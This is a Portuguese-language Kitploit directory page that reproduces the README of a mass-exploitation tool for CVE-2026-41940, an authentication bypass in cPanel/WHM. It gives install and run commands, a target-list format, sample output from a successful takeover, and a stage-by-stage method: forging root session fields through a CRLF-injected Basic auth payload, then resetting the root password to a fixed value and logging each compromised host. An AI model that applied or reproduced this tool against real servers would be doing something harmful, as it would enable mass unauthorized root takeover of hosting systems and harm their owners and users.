Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-41940 — Scanner em massa e ferramenta de exploração em massa para CVE-2026-41940 em cPanel/WHM, construída para validação automatizada de alvos e execução multi-thread de alta velocidade. | Kitploit
Ferramentas/GitHubGitHub/jenderal92/cve-2026-41940
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoComando e ControleAutenticaçãoRed TeamingDesenvolvimento de Payloads
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

Scanner em massa e ferramenta de exploração em massa para CVE-2026-41940 em cPanel/WHM, construída para validação automatizada de alvos e execução multi-thread de alta velocidade.

4439há 4 mesesAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-41940 - Exploração em Massa de Bypass de Autenticação WHM/cPanel

43153

📋 Descrição

CVE-2026-41940 é uma vulnerabilidade crítica de bypass de autenticação no WHM/cPanel que permite a atacantes contornar a autenticação e obter acesso root a um servidor sem credenciais válidas. A vulnerabilidade explora injeção CRLF no mecanismo de gerenciamento de sessão para injetar parâmetros maliciosos de sessão.

Esta ferramenta fornece capacidades de exploração em massa com suporte a múltiplas threads para testar vários alvos simultaneamente, apresentando deteção inteligente de sucesso e filtragem automática de alvos inválidos.


🎯 Principais Funcionalidades

FuncionalidadeDescrição
✅ Exploração em MassaEscanear e explorar múltiplos alvos a partir de um arquivo de lista
🚀 MultithreadingNúmero configurável de threads para varredura mais rápida (padrão: 15)
🔐 Alteração Automática de SenhaAltera a senha root para Jenderal92 em caso de exploração bem-sucedida
🛡️ Deteção Inteligente de SucessoDetecta automaticamente vários formatos de resposta da API WHM
⚠️ Filtragem de Erro de LicençaExclui alvos com erros de licença inválida/não pode ler licença
📝 Saída EstruturadaSalva apenas sucessos confirmados no formato `domínio:porta
🛡️ Suporte SSL/TLSLida automaticamente com certificados autoassinados
🔄 Gerenciamento de SessãoExtração automática de sessão, injeção de cookies e manipulação de tokens
⏱️ Controle de TimeoutTimeout de conexão configurável (padrão: 15 segundos)
🔍 Verificação Pré-ConexãoVerifica disponibilidade da porta antes da tentativa de exploração
📊 Progresso em Tempo RealMostra progresso detalhado para cada etapa da exploração

📦 Requisitos

  • Python 2.7 (obrigatório - NÃO compatível com Python 3.x)
  • Conexão com a internet para acesso aos alvos
  • Pacotes Python necessários:
pip install requests urllib3 futures

Ou use requirements.txt:

requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Instalação

# Clonar repositório
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Instalar dependências
pip install -r requirements.txt

# Tornar executável (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Uso

1. Preparar Arquivo de Alvos

Crie um arquivo targets.txt com um alvo por linha:

https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Nota: A porta 2087 é a porta padrão do WHM. Se não for especificada, usará automaticamente a porta 2087. O prefixo HTTP/HTTPS será adicionado automaticamente se estiver faltando.

2. Executar o Exploit

Uso Básico (Configurações Padrão)

python2 CVE-2026-41940.py targets.txt

Uso com Multithreading

# Usar 5 threads simultâneas
python2 CVE-2026-41940.py targets.txt --threads 5

# Usar 20 threads para varredura mais rápida
python2 CVE-2026-41940.py targets.txt --threads 20

Hostname Personalizado

# Substituir cabeçalho Host para todos os alvos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Timeout Personalizado

# Definir timeout de 30 segundos para conexões lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Argumentos de Linha de Comando

ArgumentoDescriçãoPadrãoObrigatório
list_fileArquivo contendo lista de alvos (um por linha)-✅ Sim
--threadsNúmero de threads simultâneas15❌ Não
--hostnameSubstituir cabeçalho Host para todos os alvosAuto-descobrir❌ Não
--timeoutTimeout de conexão em segundos15❌ Não

📁 Formato de Saída

Arquivo de Resultados (res.txt)

Apenas exploits confirmados com sucesso são salvos. Alvos com erros de licença, falhas na alteração de senha ou problemas de conexão são automaticamente excluídos.

Formato:

domínio:porta|root|Jenderal92

Exemplo de saída:

www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Cenários Excluídos

Os seguintes alvos NÃO serão salvos em res.txt:

  • Erros de licença (Cannot Read License File)
  • Falhas na alteração de senha
  • Timeouts ou recusas de conexão
  • Alvos corrigidos/sem WHM
  • Credenciais incorretas ou falhas de sessão

Saída no Console

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Como o Exploit Funciona

O exploit consiste em 4 estágios principais com verificação inteligente:

Estágio 1: Sessão de Pré-autenticação

[1] minting a preauth session...
  • Envia uma solicitação POST para /login/?login_only=1 com credenciais inválidas
  • Recupera o cookie whostmgrsession da resposta do servidor
  • Extrai a base da sessão removendo a parte final ,<obhex>
  • Isso nos dá um formato de sessão válido para trabalhar

Estágio 2: Ataque de Injeção CRLF

[2] sending the CRLF injection...
  • Envia uma solicitação GET com cabeçalho Authorization: Basic contendo payload malicioso
  • O payload Base64 decodifica em:
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • Os caracteres CRLF (\r\n) injetam parâmetros de sessão falsos
  • Isso engana o servidor fazendo-o acreditar que a autenticação foi bem-sucedida
  • O servidor responde com HTTP 307 e um cabeçalho Location contendo o cp_security_token

Estágio 3: Propagação da Sessão

[3] firing do_token_denied to propagate...
  • Acessa o endpoint /scripts2/listaccts com o cookie manipulado
  • Aciona o mecanismo do_token_denied no WHM
  • Isso propaga os parâmetros de sessão injetados no cache de sessão do servidor
  • Resposta HTTP 401 com "Token denied" confirma a propagação bem-sucedida
Baixar ferramenta